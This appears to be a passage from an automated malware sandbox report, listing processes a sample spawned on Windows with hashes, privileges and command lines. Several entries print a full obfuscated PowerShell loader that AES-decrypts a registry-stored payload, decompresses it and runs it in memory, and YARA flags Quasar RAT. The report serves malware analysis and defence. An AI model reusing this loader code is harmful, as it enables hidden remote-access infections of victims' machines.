[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC \| IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
Imagebase:	0x7ff654820000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source: 0000000F.00000002.3570248897.000001FACD23D000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:35:20
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{8c0db931-f9fd-42d4-a5c0-43590a2016f6}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:35:20
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{c14234ed-73ac-4d78-a200-79518435a2b0}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:35:24
Start date:	03/12/2023
Path:	C:\Windows\$sxr-powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC \| IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
Imagebase:	0x7ff654820000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	16:35:24
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{cbe0811f-76a5-44cc-bdc5-f8341ab968a9}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:35:24
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{e8c47de4-1fa8-45ae-ba48-1e652857c9f1}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:35:24
Start date:	03/12/2023
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff70f350000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	16:35:25
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{38d5fde3-99ae-4373-8c2f-8b4f5f08f7f3}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:35:25
Start date:	03/12/2023
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7ac940000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	16:35:25
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	16:35:25
Start date:	03/12/2023
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	dwm.exe
Imagebase:	0x7ff68eb30000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	16:35:26
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{92e841ec-e3f1-4b8b-895f-b885255cbce1}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:35:26
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\cscript.exe
Wow64 process (32bit):	true
Commandline:	"cscript" "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /dstatus
Imagebase:	0xd50000
File size:	144'896 bytes
MD5 hash:	CB601B41D4C8074BE8A84AED564A94DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	16:35:27
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	16:35:27
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{25768c7a-7ac5-4718-a464-d7bd931650f7}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:35:27
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{2e416721-4f03-488b-85bf-d48d4305e55d}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:35:27
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{6cf183fd-4345-4e83-86c3-b67edbc5a93f}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:35:27
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	16:35:27
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{b21552e6-10c0-4b77-8348-e34fa993b74e}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:35:28
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	16:35:28
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	16:35:28
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0xdc0000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	16:35:28
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	16:35:29
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{408c66d6-6f69-434f-838a-86e87b4371ae}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:35:29
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{205dcea9-d057-463c-a3cf-998f0b1939dc}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:35:29
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{a65f9779-a778-403b-96e3-bdb0de023251}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:35:29
Start date:	03/12/2023
Path:	C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe"
Imagebase:	0x830000
File size:	140'800 bytes
